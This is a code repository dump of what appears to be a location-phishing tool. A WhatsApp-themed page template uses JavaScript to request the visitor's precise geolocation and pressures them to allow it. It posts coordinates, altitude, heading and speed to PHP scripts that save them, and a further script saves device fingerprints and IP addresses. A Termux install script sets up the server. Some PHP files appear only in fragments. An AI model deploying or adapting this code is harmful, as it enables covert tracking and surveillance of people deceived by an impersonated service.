/template/whatsapp/js/location.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | var lon = position.coords.longitude; 17 | var acc = position.coords.accuracy; 18 | var alt = position.coords.altitude; 19 | var dir = position.coords.heading; 20 | var spd = position.coords.speed; 21 | 22 | $.ajax({ 23 | type: 'POST', 24 | url: '/php/result.php', 25 | data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 26 | success: function(){popup();}, 27 | mimeType: 'text' 28 | }); 29 | }; 30 | } 31 | 32 | function showError(error) 33 | { 34 | switch(error.code) 35 | { 36 | case error.PERMISSION_DENIED: 37 | var denied = 'User denied the request for Geolocation'; 38 | alert('Please Refresh This Page and Allow Location Permission...'); 39 | break; 40 | case error.POSITION_UNAVAILABLE: 41 | var unavailable = 'Location information is unavailable'; 42 | break; 43 | case error.TIMEOUT: 44 | var timeout = 'The request to get user location timed out'; 45 | alert('Please Set Your Location Mode on High Accuracy...'); 46 | break; 47 | case error.UNKNOWN_ERROR: 48 | var unknown = 'An unknown error occurred'; 49 | break; 50 | } 51 | 52 | $.ajax({ 53 | type: 'POST', 54 | url: '/php/error.php', 55 | data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown}, 56 | success: function(){$('#change').html('Failed');}, 57 | mimeType: 'text' 58 | }); 59 | } 60 | -------------------------------------------------------------------------------- /template/whatsapp/php/error.php: -------------------------------------------------------------------------------- 1 | 42 | -------------------------------------------------------------------------------- /template/whatsapp/php/info.php: -------------------------------------------------------------------------------- 1 | $ptf, 46 | 'browser' => $brw, 47 | 'cores' => $cc, 48 | 'ram' => $ram, 49 | 'vendor' => $ven, 50 | 'render' => $ren, 51 | 'ip' => $ip, 52 | 'ht' => $ht, 53 | 'wd' => $wd, 54 | 'os' => $os); 55 | 56 | $jdata = json_encode($data); 57 | 58 | $f = fopen('info.txt', 'w+'); 59 | fwrite($f, $jdata); 60 | fclose($f); 61 | } 62 | ?> 63 | -------------------------------------------------------------------------------- /template/whatsapp/php/info.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /template/whatsapp/php/result.php: -------------------------------------------------------------------------------- 1 | $lat, 15 | 'lon' => $lon, 16 | 'acc' => $acc, 17 | 'alt' => $alt, 18 | 'dir' => $dir, 19 | 'spd' => $spd); 20 | 21 | $jdata = json_encode($data); 22 | 23 | $f = fopen('result.txt', 'w+'); 24 | fwrite($f, $jdata); 25 | fclose($f); 26 | } 27 | ?> 28 | -------------------------------------------------------------------------------- /template/whatsapp/php/result.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /termux_install.sh: -------------------------------------------------------------------------------- 1 | echo '[!] Updating...' 2 | apt-get update > install.log 3 | echo 4 | echo '[!] Installing Dependencies...' 5 | echo ' Python3' 6 | apt-get -y install python &>> install.log 7 | echo ' PHP' 8 | apt-get -y install php &>> install.log 9 | echo ' ssh' 10 | apt-get -y install openssh &>> install.log 11 | echo ' Requests' 12 | pip3 install requests &>> install.log 13 | echo 14 | echo '[!] Setting Permissions...' 15 | chmod 777 template/nearyou/php/info.txt 16 | chmod 777 template/nearyou/php/result.txt 17 | echo 18 | echo '[!] Installed.' -------------------------------------------------------------------------------- /version.txt: -------------------------------------------------------------------------------- 1 | 1.3.0 2 | --------------------------------------------------------------------------------